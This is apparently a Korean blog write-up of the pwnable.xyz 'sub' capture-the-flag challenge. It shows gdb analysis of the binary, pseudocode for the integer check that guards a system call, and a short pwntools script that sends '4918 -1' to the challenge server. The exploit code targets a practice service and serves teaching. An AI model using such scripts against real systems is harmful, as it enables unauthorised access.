본문으로 바로가기

[pwnable.xyz] sub write up

category CTF/pwnable.xyz 2019. 12. 28. 09:21

 

pwnable.xyz 두번째 문제 sub 이다.

바이너리 파일을 다운 받은 뒤 실행하면 아래와 같이 동작하는 것을 볼 수 있다.

ubuntu:~/environment/ctf/pwnable.xyz/02_sub $ ./challenge 
1337 input: 1 1
ubuntu:~/environment/ctf/pwnable.xyz/02_sub $ ./challenge 
1337 input: 1337 1337
ubuntu:~/environment/ctf/pwnable.xyz/02_sub $ 

 

 

이 바이너리에 main 함수 및 사용자 정의 함수의 존재 여부를 확인하기 위해 필자가 만들어 놓은 명령어로 확인해 보면, main 함수 및 사용자 정의 함수가 존재하지 않는 것을 볼 수 있다.

ubuntu:~/environment/ctf/pwnable.xyz/02_sub $ func ./challenge
nm: challenge: no symbols

 

(ELF 파일에 사용자 정의 함수 list 를 보기 위해 아래 글을 참고 하자)

 

[Find user defined functions] elf에 사용자 정의 함수 찾기

CTF 문제를 풀때 ELF 파일을 GDB로 분석할 때가 있는데, 어떤 사용자 정의 함수들이 있는지 알기 위해서 objdump 명령어를 사용하는 경우가 있다. objdump 명령어를 이용하면 간략하게 볼 수 없기 때문에 이를 간..

lactea.kr

 

 

Analyze

gdb로 분석을 시작해보자.

main 함수의 주소를 찾기 위해 이전 글에서 했던 방식대로, 바이너리를 한번 실행 후 __libc_start_main 에 breakpoint를 걸어 준 뒤, main 함수의 주소를 찾을 수 있다. main 함수의 주소는 0x555555554850 이다.

 

 

위에서 찾은 main 함수의 주소에 breakpoint를 걸어준 뒤, 실행 후 main 함수를 분석 해보자.

x/66i 0x555555554850 를 통해 main 함수의 전체 어셈블리어를 볼 수 있다.

 

main 함수에서 일부분만 분석해보면 아래와 같다.

scanf("%d %d", &eax, &edx);

if(eax <= 0x1336 && edx <= 0x1336){
    eax -= edx;
    
    if(eax == 0x1337){
        // call system!!
    }
    else{
        // Program end..
    }
}
else{
    // Program end..
}

 

scanf로 두개의 인자를 받고 위 코드 흐름대로 조건에 맞게 된다면, system 함수가 실행이 된다.

즉, eax = 0x1336, edx = -0x1 이 되면 된다.

 

아래처럼 터미널로 테스트를 해보면, flag 파일이 없다고 뜬다. 성공한 것이다!!

 

 

 

Payload

python 으로 코드를 짜보면 아래와 같다.

from pwn import *

p = remote("svc.pwnable.xyz", 30001)

p.recvuntil(":")
p.send("4918 -1")
p.interactive()

 

'CTF > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] two targets write up  (0) 2020.01.02
[pwnable.xyz] xor write up  (0) 2020.01.01
[pwnable.xyz] misalignment write up  (0) 2020.01.01
[pwnable.xyz] add write up  (0) 2019.12.28
[pwnable.xyz] sub write up  (0) 2019.12.28
[pwnable.xyz] Welcome write up  (0) 2019.12.26

댓글을 달아 주세요